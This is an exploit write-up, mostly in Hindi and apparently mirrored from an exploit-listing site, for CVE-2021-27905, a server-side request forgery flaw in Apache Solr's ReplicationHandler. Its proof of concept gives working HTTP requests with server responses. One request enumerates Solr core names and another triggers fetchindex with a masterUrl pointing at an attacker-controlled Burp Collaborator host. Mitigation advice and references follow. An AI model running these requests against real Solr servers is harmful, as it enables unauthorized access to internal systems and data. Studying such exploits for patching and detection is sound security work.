Exploit for CVE-2021-27905

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MURATAYDEMIR-CVE-2021-27905
**[CVE-2021-27905] Apache Solr ReplicationHandler सर्वर साइड रिक्वेस्ट फॉर्जरी (SSRF)**

* * *

Hit Counter ![Platform Badge](https://img.shields.io/badge/Platform-Apache%20Solr-critical?logo=apachesolr&style=plastic)

Apache Solr (Searching On Lucene with Replication का संक्षिप्त रूप) एक मुफ्त, ओपन-सोर्स सर्च इंजन है जो Apache Lucene लाइब्रेरी पर आधारित है। यह Java में लिखा गया है। Apache Solr में RESTful XML/HTTP और JSON API हैं और कई प्रोग्रामिंग भाषाओं जैसे Java, Phyton, Ruby, C#, PHP और अन्य के लिए क्लाइंट लाइब्रेरी हैं, जिनका उपयोग वेबसाइटों, डेटाबेस, फ़ाइलों आदि के लिए सर्च-आधारित और बिग डेटा एनालिटिक्स एप्लिकेशन बनाने में किया जाता है।

Apache Solr के `8.8.2 से पहले के सभी संस्करण (7.0.0 से 7.7.3 और 8.0.0 से 8.8.1)` सर्वर साइड रिक्वेस्ट फॉर्जरी (SSRF) कमजोरी के प्रति संवेदनशील हैं। इस कमजोरी का सफल शोषण करने से संगठन के भीतर अनधिकृत कार्यों या डेटा तक पहुंच हो सकती है, या तो कमजोर एप्लिकेशन में ही या अन्य बैकएंड सिस्टम पर जिनसे एप्लिकेशन संवाद कर सकता है।

ReplicationHandler (सामान्यतः एक Solr कोर के अंतर्गत `/replication` पर पंजीकृत) में एक `masterUrl` (साथ ही `leaderUrl` उपनाम) पैरामीटर है जिसका उपयोग किसी अन्य Solr कोर पर दूसरे ReplicationHandler को नामित करने के लिए किया जाता है ताकि इंडेक्स डेटा को स्थानीय कोर में प्रतिलिपि बनाया जा सके। SSRF कमजोरी को रोकने के लिए, Solr को इन पैरामीटर्स को उसी समान कॉन्फ़िगरेशन के विरुद्ध जांचना चाहिए जिसका उपयोग वह `shards` पैरामीटर के लिए करता है। इस कमजोरी को ठीक करने से पहले, उसने ऐसा नहीं किया।

**प्रमाण की अवधारणा (PoC):** इस कमजोरी का शोषण करने के लिए, हमलावर को Apache Solr पर कोर का नाम जानना होगा। इसीलिए कोर नाम/नामों का निर्धारण करने के लिए निम्नलिखित अनुरोध का उपयोग किया जा सकता है।

root@kitploit:~
    
    
    GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
    Host: vulnerablehost:8983
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    

root@kitploit:~
    
    
    HTTP/1.1 200 OK
    Content-Type: application/json; charset=UTF-8
    Connection: close
    
    {
        "responseHeader":
        {
            "status": 0,
            "QTime": 0
        },
        "initFailures":
        {},
        "status":
        {
            "beliana_dev":
            {
                "name": "beliana_dev",
                "instanceDir": "/var/solr/data/beliana_dev",
                "dataDir": "/var/solr/data/beliana_dev/data/",
                "config": "solrconfig.xml",
                "schema": "schema.xml",
                "startTime": "2021-04-20T13:49:06.569Z",
                "uptime": 293226747
            },
            "beliana_prod":
            {
                "name": "beliana_prod",
                "instanceDir": "/var/solr/data/beliana_prod",
                "dataDir": "/var/solr/data/beliana_prod/data/",
                "config": "solrconfig.xml",
                "schema": "schema.xml",
                "startTime": "2021-02-02T06:07:19.668Z",
                "uptime": 6973733649
            },
            "beliana_stage":
            {
                "name": "beliana_stage",
                "instanceDir": "/var/solr/data/beliana_stage",
                "dataDir": "/var/solr/data/beliana_stage/data/",
                "config": "solrconfig.xml",
                "schema": "schema.xml",
                "startTime": "2021-02-02T06:07:19.668Z",
                "uptime": 6973733649
            }
        }
    }
    

![1](https://assets.kitploit.com/production/public/readmes/29660/f2f4dbc2ed0953904113a82fbcb66385c73542b25122c6f92757cb524e9a7566.png)

कोर नाम निर्धारित करने के बाद, बस इनमें से एक का चयन करें और इस एंडपॉइंट पर अनुरोध करें: `/solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}`

root@kitploit:~
    
    
    GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
    Host: vulnerablehost:8983
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    

root@kitploit:~
    
    
    HTTP/1.1 200 OK
    Cache-Control: no-cache, no-store
    Pragma: no-cache
    Expires: Sat, 01 Jan 2000 01:00:00 GMT
    Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
    ETag: "1790105893b"
    Content-Type: application/xml; charset=UTF-8
    Connection: close
    
    <?xml version="1.0" encoding="UTF-8"?>
    <response>
        <lst name="responseHeader">
            <int name="status">0</int>
            <int name="QTime">75</int>
        </lst>
        <str name="status">OK</str>
    </response>
    

![2](https://assets.kitploit.com/production/public/readmes/29660/87fcf98b8a488e1f3d3f404e06df5b65501cc0c1a26e9f0cf30325ea9209ce68.png)

![3](https://assets.kitploit.com/production/public/readmes/29660/b8f4620393fe6fab4f717f003293553ca702438a80533717f9dd4e40611228b5.png)

**शमन:** इस कमजोरी को रोकने के लिए निम्नलिखित में से कोई भी पर्याप्त है:

  * Solr `8.8.2` या उससे ऊपर के संस्करण में अपग्रेड करें।
  * यदि अपग्रेड करना संभव नहीं है, तो https://issues.apache.org/jira/browse/SOLR-15217 में पैच लागू करने पर विचार करें।
  * सुनिश्चित करें कि रेप्लिकेशन हैंडलर तक कोई भी पहुंच पूरी तरह से Solr के आंतरिक ही हो। आमतौर पर, इस तक बाहरी पहुंच केवल नैदानिक/सूचनात्मक उद्देश्यों के लिए होती है।



**संदर्भ:**

  * https://github.com/apache/solr-site/blob/eb060a0d2cf1d31de403665407fff7a0255578ec/content/solr/security/2021-04-12-cve-2021-27905.md
  * https://github.com/apache/solr/pull/47/files/c12bbae4da0719435cf5e19623f6dad83f0c8c65#diff-838f63a8d7b764661b66c758c19cfe6f3d6454b328a1b5f52f75480530b0cfe7
  * https://vulners.com/cve/CVE-2021-27905
  * https://www.anquanke.com/post/id/238201